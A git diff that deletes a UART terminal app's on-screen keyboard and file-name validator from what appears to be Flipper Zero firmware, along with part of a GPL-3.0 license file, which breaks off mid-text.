-#define BACKSPACE_KEY '\b' - -static const UART_TextInputKey keyboard_keys_row_1[] = { - {'{', 1, 0}, - {'(', 9, 0}, - {'[', 17, 0}, - {'|', 25, 0}, - {'@', 33, 0}, - {'&', 41, 0}, - {'#', 49, 0}, - {';', 57, 0}, - {'^', 65, 0}, - {'*', 73, 0}, - {'`', 81, 0}, - {'"', 89, 0}, - {'~', 97, 0}, - {'\'', 105, 0}, - {'.', 113, 0}, - {'/', 120, 0}, -}; - -static const UART_TextInputKey keyboard_keys_row_2[] = { - {'q', 1, 10}, - {'w', 9, 10}, - {'e', 17, 10}, - {'r', 25, 10}, - {'t', 33, 10}, - {'y', 41, 10}, - {'u', 49, 10}, - {'i', 57, 10}, - {'o', 65, 10}, - {'p', 73, 10}, - {'0', 81, 10}, - {'1', 89, 10}, - {'2', 97, 10}, - {'3', 105, 10}, - {'=', 113, 10}, - {'-', 120, 10}, -}; - -static const UART_TextInputKey keyboard_keys_row_3[] = { - {'a', 1, 21}, - {'s', 9, 21}, - {'d', 18, 21}, - {'f', 25, 21}, - {'g', 33, 21}, - {'h', 41, 21}, - {'j', 49, 21}, - {'k', 57, 21}, - {'l', 65, 21}, - {BACKSPACE_KEY, 72, 13}, - {'4', 89, 21}, - {'5', 97, 21}, - {'6', 105, 21}, - {'$', 113, 21}, - {'%', 120, 21}, - -}; - -static const UART_TextInputKey keyboard_keys_row_4[] = { - {'z', 1, 33}, - {'x', 9, 33}, - {'c', 18, 33}, - {'v', 25, 33}, - {'b', 33, 33}, - {'n', 41, 33}, - {'m', 49, 33}, - {'_', 57, 33}, - {ENTER_KEY, 64, 24}, - {'7', 89, 33}, - {'8', 97, 33}, - {'9', 105, 33}, - {'!', 113, 33}, - {'+', 120, 33}, -}; - -static uint8_t get_row_size(uint8_t row_index) { - uint8_t row_size = 0; - - switch(row_index + 1) { - case 1: - row_size = sizeof(keyboard_keys_row_1) / sizeof(UART_TextInputKey); - break; - case 2: - row_size = sizeof(keyboard_keys_row_2) / sizeof(UART_TextInputKey); - break; - case 3: - row_size = sizeof(keyboard_keys_row_3) / sizeof(UART_TextInputKey); - break; - case 4: - row_size = sizeof(keyboard_keys_row_4) / sizeof(UART_TextInputKey); - break; - } - - return row_size; -} - -static const UART_TextInputKey* get_row(uint8_t row_index) { - const UART_TextInputKey* row = NULL; - - switch(row_index + 1) { - case 1: - row = keyboard_keys_row_1; - break; - case 2: - row = keyboard_keys_row_2; - break; - case 3: - row = keyboard_keys_row_3; - break; - case 4: - row = keyboard_keys_row_4; - break; - } - - return row; -} - -static char get_selected_char(UART_TextInputModel* model) { - return get_row(model->selected_row)[model->selected_column].text; -} - -static bool char_is_lowercase(char letter) { - return (letter >= 0x61 && letter <= 0x7A); -} - -static bool char_is_uppercase(char letter) { - return (letter >= 0x41 && letter <= 0x5A); -} - -static char char_to_lowercase(const char letter) { - switch(letter) { - case ' ': - return 0x5f; - break; - case ')': - return 0x28; - break; - case '}': - return 0x7b; - break; - case ']': - return 0x5b; - break; - case '\\': - return 0x2f; - break; - case ':': - return 0x3b; - break; - case ',': - return 0x2e; - break; - case '?': - return 0x21; - break; - case '>': - return 0x3c; - break; - } - if(char_is_uppercase(letter)) { - return (letter + 0x20); - } else { - return letter; - } -} - -static char char_to_uppercase(const char letter) { - switch(letter) { - case '_': - return 0x20; - break; - case '(': - return 0x29; - break; - case '{': - return 0x7d; - break; - case '[': - return 0x5d; - break; - case '/': - return 0x5c; - break; - case ';': - return 0x3a; - break; - case '.': - return 0x2c; - break; - case '!': - return 0x3f; - break; - case '<': - return 0x3e; - break; - } - if(char_is_lowercase(letter)) { - return (letter - 0x20); - } else { - return letter; - } -} - -static void uart_text_input_backspace_cb(UART_TextInputModel* model) { - uint8_t text_length = model->clear_default_text ? 1 : strlen(model->text_buffer); - if(text_length > 0) { - model->text_buffer[text_length - 1] = 0; - } -} - -static void uart_text_input_view_draw_callback(Canvas* canvas, void* _model) { - UART_TextInputModel* model = _model; - //uint8_t text_length = model->text_buffer ? strlen(model->text_buffer) : 0; - uint8_t needed_string_width = canvas_width(canvas) - 8; - uint8_t start_pos = 4; - - const char* text = model->text_buffer; - - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - - canvas_draw_str(canvas, 2, 7, model->header); - elements_slightly_rounded_frame(canvas, 1, 8, 126, 12); - - if(canvas_string_width(canvas, text) > needed_string_width) { - canvas_draw_str(canvas, start_pos, 17, "..."); - start_pos += 6; - needed_string_width -= 8; - } - - while(text != 0 && canvas_string_width(canvas, text) > needed_string_width) { - text++; - } - - if(model->clear_default_text) { - elements_slightly_rounded_box( - canvas, start_pos - 1, 14, canvas_string_width(canvas, text) + 2, 10); - canvas_set_color(canvas, ColorWhite); - } else { - canvas_draw_str(canvas, start_pos + canvas_string_width(canvas, text) + 1, 18, "|"); - canvas_draw_str(canvas, start_pos + canvas_string_width(canvas, text) + 2, 18, "|"); - } - canvas_draw_str(canvas, start_pos, 17, text); - - canvas_set_font(canvas, FontKeyboard); - - for(uint8_t row = 0; row <= keyboard_row_count; row++) { - const uint8_t column_count = get_row_size(row); - const UART_TextInputKey* keys = get_row(row); - - for(size_t column = 0; column < column_count; column++) { - if(keys[column].text == ENTER_KEY) { - canvas_set_color(canvas, ColorBlack); - if(model->selected_row == row && model->selected_column == column) { - canvas_draw_icon( - canvas, - keyboard_origin_x + keys[column].x, - keyboard_origin_y + keys[column].y, - &I_KeySaveSelected_24x11); - } else { - canvas_draw_icon( - canvas, - keyboard_origin_x + keys[column].x, - keyboard_origin_y + keys[column].y, - &I_KeySave_24x11); - } - } else if(keys[column].text == BACKSPACE_KEY) { - canvas_set_color(canvas, ColorBlack); - if(model->selected_row == row && model->selected_column == column) { - canvas_draw_icon( - canvas, - keyboard_origin_x + keys[column].x, - keyboard_origin_y + keys[column].y, - &I_KeyBackspaceSelected_16x9); - } else { - canvas_draw_icon( - canvas, - keyboard_origin_x + keys[column].x, - keyboard_origin_y + keys[column].y, - &I_KeyBackspace_16x9); - } - } else { - if(model->selected_row == row && model->selected_column == column) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_box( - canvas, - keyboard_origin_x + keys[column].x - 1, - keyboard_origin_y + keys[column].y - 8, - 7, - 10); - canvas_set_color(canvas, ColorWhite); - } else { - canvas_set_color(canvas, ColorBlack); - } - if(0 == strcmp(model->header, mode_AT)) { - canvas_draw_glyph( - canvas, - keyboard_origin_x + keys[column].x, - keyboard_origin_y + keys[column].y, - char_to_uppercase(keys[column].text)); - } else { - canvas_draw_glyph( - canvas, - keyboard_origin_x + keys[column].x, - keyboard_origin_y + keys[column].y, - keys[column].text); - } - } - } - } - if(model->valadator_message_visible) { - canvas_set_font(canvas, FontSecondary); - canvas_set_color(canvas, ColorWhite); - canvas_draw_box(canvas, 8, 10, 110, 48); - canvas_set_color(canvas, ColorBlack); - canvas_draw_icon(canvas, 10, 14, &I_WarningDolphin_45x42); - canvas_draw_rframe(canvas, 8, 8, 112, 50, 3); - canvas_draw_rframe(canvas, 9, 9, 110, 48, 2); - elements_multiline_text(canvas, 62, 20, furi_string_get_cstr(model->validator_text)); - canvas_set_font(canvas, FontKeyboard); - } -} - -static void - uart_text_input_handle_up(UART_TextInput* uart_text_input, UART_TextInputModel* model) { - UNUSED(uart_text_input); - if(model->selected_row > 0) { - model->selected_row--; - if(model->selected_column > get_row_size(model->selected_row) - 6) { - model->selected_column = model->selected_column + 1; - } - } -} - -static void - uart_text_input_handle_down(UART_TextInput* uart_text_input, UART_TextInputModel* model) { - UNUSED(uart_text_input); - if(model->selected_row < keyboard_row_count - 1) { - model->selected_row++; - if(model->selected_column > get_row_size(model->selected_row) - 4) { - model->selected_column = model->selected_column - 1; - } - } -} - -static void - uart_text_input_handle_left(UART_TextInput* uart_text_input, UART_TextInputModel* model) { - UNUSED(uart_text_input); - if(model->selected_column > 0) { - model->selected_column--; - } else { - model->selected_column = get_row_size(model->selected_row) - 1; - } -} - -static void - uart_text_input_handle_right(UART_TextInput* uart_text_input, UART_TextInputModel* model) { - UNUSED(uart_text_input); - if(model->selected_column < get_row_size(model->selected_row) - 1) { - model->selected_column++; - } else { - model->selected_column = 0; - } -} - -static void uart_text_input_handle_ok( - UART_TextInput* uart_text_input, - UART_TextInputModel* model, - bool shift) { - char selected = get_selected_char(model); - uint8_t text_length = strlen(model->text_buffer); - - if(0 == strcmp(model->header, mode_AT)) { - selected = char_to_uppercase(selected); - } - - if(shift) { - if(0 == strcmp(model->header, mode_AT)) { - selected = char_to_lowercase(selected); - } else { - selected = char_to_uppercase(selected); - } - } - - if(selected == ENTER_KEY) { - if(model->validator_callback && - (!model->validator_callback( - model->text_buffer, model->validator_text, model->validator_callback_context))) { - model->valadator_message_visible = true; - furi_timer_start(uart_text_input->timer, furi_kernel_get_tick_frequency() * 4); - } else if(model->callback != 0 && text_length > 0) { - model->callback(model->callback_context); - } - } else if(selected == BACKSPACE_KEY) { - uart_text_input_backspace_cb(model); - } else { - if(model->clear_default_text) { - text_length = 0; - } - if(text_length < (model->text_buffer_size - 1)) { - model->text_buffer[text_length] = selected; - model->text_buffer[text_length + 1] = 0; - } - } - model->clear_default_text = false; -} - -static bool uart_text_input_view_input_callback(InputEvent* event, void* context) { - UART_TextInput* uart_text_input = context; - furi_assert(uart_text_input); - - bool consumed = false; - - // Acquire model - UART_TextInputModel* model = view_get_model(uart_text_input->view); - - if((!(event->type == InputTypePress) && !(event->type == InputTypeRelease)) && - model->valadator_message_visible) { - model->valadator_message_visible = false; - consumed = true; - } else if(event->type == InputTypeShort) { - consumed = true; - switch(event->key) { - case InputKeyUp: - uart_text_input_handle_up(uart_text_input, model); - break; - case InputKeyDown: - uart_text_input_handle_down(uart_text_input, model); - break; - case InputKeyLeft: - uart_text_input_handle_left(uart_text_input, model); - break; - case InputKeyRight: - uart_text_input_handle_right(uart_text_input, model); - break; - case InputKeyOk: - uart_text_input_handle_ok(uart_text_input, model, false); - break; - default: - consumed = false; - break; - } - } else if(event->type == InputTypeLong) { - consumed = true; - switch(event->key) { - case InputKeyUp: - uart_text_input_handle_up(uart_text_input, model); - break; - case InputKeyDown: - uart_text_input_handle_down(uart_text_input, model); - break; - case InputKeyLeft: - uart_text_input_handle_left(uart_text_input, model); - break; - case InputKeyRight: - uart_text_input_handle_right(uart_text_input, model); - break; - case InputKeyOk: - uart_text_input_handle_ok(uart_text_input, model, true); - break; - case InputKeyBack: - uart_text_input_backspace_cb(model); - break; - default: - consumed = false; - break; - } - } else if(event->type == InputTypeRepeat) { - consumed = true; - switch(event->key) { - case InputKeyUp: - uart_text_input_handle_up(uart_text_input, model); - break; - case InputKeyDown: - uart_text_input_handle_down(uart_text_input, model); - break; - case InputKeyLeft: - uart_text_input_handle_left(uart_text_input, model); - break; - case InputKeyRight: - uart_text_input_handle_right(uart_text_input, model); - break; - case InputKeyBack: - uart_text_input_backspace_cb(model); - break; - default: - consumed = false; - break; - } - } - - // Commit model - view_commit_model(uart_text_input->view, consumed); - - return consumed; -} - -void uart_text_input_timer_callback(void* context) { - furi_assert(context); - UART_TextInput* uart_text_input = context; - - with_view_model( - uart_text_input->view, - UART_TextInputModel * model, - { model->valadator_message_visible = false; }, - true); -} - -UART_TextInput* uart_text_input_alloc() { - UART_TextInput* uart_text_input = malloc(sizeof(UART_TextInput)); - uart_text_input->view = view_alloc(); - view_set_context(uart_text_input->view, uart_text_input); - view_allocate_model(uart_text_input->view, ViewModelTypeLocking, sizeof(UART_TextInputModel)); - view_set_draw_callback(uart_text_input->view, uart_text_input_view_draw_callback); - view_set_input_callback(uart_text_input->view, uart_text_input_view_input_callback); - - uart_text_input->timer = - furi_timer_alloc(uart_text_input_timer_callback, FuriTimerTypeOnce, uart_text_input); - - with_view_model( - uart_text_input->view, - UART_TextInputModel * model, - { model->validator_text = furi_string_alloc(); }, - false); - - uart_text_input_reset(uart_text_input); - - return uart_text_input; -} - -void uart_text_input_free(UART_TextInput* uart_text_input) { - furi_assert(uart_text_input); - with_view_model( - uart_text_input->view, - UART_TextInputModel * model, - { furi_string_free(model->validator_text); }, - false); - - // Send stop command - furi_timer_stop(uart_text_input->timer); - // Release allocated memory - furi_timer_free(uart_text_input->timer); - - view_free(uart_text_input->view); - - free(uart_text_input); -} - -void uart_text_input_reset(UART_TextInput* uart_text_input) { - furi_assert(uart_text_input); - with_view_model( - uart_text_input->view, - UART_TextInputModel * model, - { - model->text_buffer_size = 0; - model->header = ""; - model->selected_row = 0; - model->selected_column = 0; - model->clear_default_text = false; - model->text_buffer = NULL; - model->text_buffer_size = 0; - model->callback = NULL; - model->callback_context = NULL; - model->validator_callback = NULL; - model->validator_callback_context = NULL; - furi_string_reset(model->validator_text); - model->valadator_message_visible = false; - }, - true); -} - -View* uart_text_input_get_view(UART_TextInput* uart_text_input) { - furi_assert(uart_text_input); - return uart_text_input->view; -} - -void uart_text_input_set_result_callback( - UART_TextInput* uart_text_input, - UART_TextInputCallback callback, - void* callback_context, - char* text_buffer, - size_t text_buffer_size, - bool clear_default_text) { - with_view_model( - uart_text_input->view, - UART_TextInputModel * model, - { - model->callback = callback; - model->callback_context = callback_context; - model->text_buffer = text_buffer; - model->text_buffer_size = text_buffer_size; - model->clear_default_text = clear_default_text; - if(text_buffer && text_buffer[0] != '\0') { - // Set focus on Save - model->selected_row = 2; - model->selected_column = 8; - } - }, - true); -} - -void uart_text_input_set_validator( - UART_TextInput* uart_text_input, - UART_TextInputValidatorCallback callback, - void* callback_context) { - with_view_model( - uart_text_input->view, - UART_TextInputModel * model, - { - model->validator_callback = callback; - model->validator_callback_context = callback_context; - }, - true); -} - -UART_TextInputValidatorCallback - uart_text_input_get_validator_callback(UART_TextInput* uart_text_input) { - UART_TextInputValidatorCallback validator_callback = NULL; - with_view_model( - uart_text_input->view, - UART_TextInputModel * model, - { validator_callback = model->validator_callback; }, - false); - return validator_callback; -} - -void* uart_text_input_get_validator_callback_context(UART_TextInput* uart_text_input) { - void* validator_callback_context = NULL; - with_view_model( - uart_text_input->view, - UART_TextInputModel * model, - { validator_callback_context = model->validator_callback_context; }, - false); - return validator_callback_context; -} - -void uart_text_input_set_header_text(UART_TextInput* uart_text_input, const char* text) { - with_view_model( - uart_text_input->view, UART_TextInputModel * model, { model->header = text; }, true); -} diff --git a/applications/external/uart_terminal/uart_text_input.h b/applications/external/uart_terminal/uart_text_input.h deleted file mode 100644 index f3703ed5a..000000000 --- a/applications/external/uart_terminal/uart_text_input.h +++ /dev/null @@ -1,82 +0,0 @@ -#pragma once - -#include -#include "uart_validators.h" - -#ifdef __cplusplus -extern "C" { -#endif - -/** Text input anonymous structure */ -typedef struct UART_TextInput UART_TextInput; -typedef void (*UART_TextInputCallback)(void* context); -typedef bool (*UART_TextInputValidatorCallback)(const char* text, FuriString* error, void* context); - -/** Allocate and initialize text input - * - * This text input is used to enter string - * - * @return UART_TextInput instance - */ -UART_TextInput* uart_text_input_alloc(); - -/** Deinitialize and free text input - * - * @param uart_text_input UART_TextInput instance - */ -void uart_text_input_free(UART_TextInput* uart_text_input); - -/** Clean text input view Note: this function does not free memory - * - * @param uart_text_input Text input instance - */ -void uart_text_input_reset(UART_TextInput* uart_text_input); - -/** Get text input view - * - * @param uart_text_input UART_TextInput instance - * - * @return View instance that can be used for embedding - */ -View* uart_text_input_get_view(UART_TextInput* uart_text_input); - -/** Set text input result callback - * - * @param uart_text_input UART_TextInput instance - * @param callback callback fn - * @param callback_context callback context - * @param text_buffer pointer to YOUR text buffer, that we going - * to modify - * @param text_buffer_size YOUR text buffer size in bytes. Max string - * length will be text_buffer_size-1. - * @param clear_default_text clear text from text_buffer on first OK - * event - */ -void uart_text_input_set_result_callback( - UART_TextInput* uart_text_input, - UART_TextInputCallback callback, - void* callback_context, - char* text_buffer, - size_t text_buffer_size, - bool clear_default_text); - -void uart_text_input_set_validator( - UART_TextInput* uart_text_input, - UART_TextInputValidatorCallback callback, - void* callback_context); - -UART_TextInputValidatorCallback - uart_text_input_get_validator_callback(UART_TextInput* uart_text_input); - -void* uart_text_input_get_validator_callback_context(UART_TextInput* uart_text_input); - -/** Set text input header text - * - * @param uart_text_input UART_TextInput instance - * @param text text to be shown - */ -void uart_text_input_set_header_text(UART_TextInput* uart_text_input, const char* text); - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/uart_terminal/uart_validators.c b/applications/external/uart_terminal/uart_validators.c deleted file mode 100644 index c87a6cc6e..000000000 --- a/applications/external/uart_terminal/uart_validators.c +++ /dev/null @@ -1,57 +0,0 @@ -#include -#include "uart_validators.h" -#include - -struct ValidatorIsFile { - char* app_path_folder; - const char* app_extension; - char* current_name; -}; - -bool validator_is_file_callback(const char* text, FuriString* error, void* context) { - furi_assert(context); - ValidatorIsFile* instance = context; - - if(instance->current_name != NULL) { - if(strcmp(instance->current_name, text) == 0) { - return true; - } - } - - bool ret = true; - FuriString* path = furi_string_alloc_printf( - "%s/%s%s", instance->app_path_folder, text, instance->app_extension); - Storage* storage = furi_record_open(RECORD_STORAGE); - if(storage_common_stat(storage, furi_string_get_cstr(path), NULL) == FSE_OK) { - ret = false; - furi_string_printf(error, "This name\nexists!\nChoose\nanother one."); - } else { - ret = true; - } - furi_string_free(path); - furi_record_close(RECORD_STORAGE); - - return ret; -} - -ValidatorIsFile* validator_is_file_alloc_init( - const char* app_path_folder, - const char* app_extension, - const char* current_name) { - ValidatorIsFile* instance = malloc(sizeof(ValidatorIsFile)); - - instance->app_path_folder = strdup(app_path_folder); - instance->app_extension = app_extension; - if(current_name != NULL) { - instance->current_name = strdup(current_name); - } - - return instance; -} - -void validator_is_file_free(ValidatorIsFile* instance) { - furi_assert(instance); - free(instance->app_path_folder); - free(instance->current_name); - free(instance); -} diff --git a/applications/external/uart_terminal/uart_validators.h b/applications/external/uart_terminal/uart_validators.h deleted file mode 100644 index d9200b6db..000000000 --- a/applications/external/uart_terminal/uart_validators.h +++ /dev/null @@ -1,21 +0,0 @@ -#pragma once - -#include - -#ifdef __cplusplus -extern "C" { -#endif -typedef struct ValidatorIsFile ValidatorIsFile; - -ValidatorIsFile* validator_is_file_alloc_init( - const char* app_path_folder, - const char* app_extension, - const char* current_name); - -void validator_is_file_free(ValidatorIsFile* instance); - -bool validator_is_file_callback(const char* text, FuriString* error, void* context); - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/unitemp/LICENSE.md b/applications/external/unitemp/LICENSE.md deleted file mode 100644 index f288702d2..000000000 --- a/applications/external/unitemp/LICENSE.md +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or 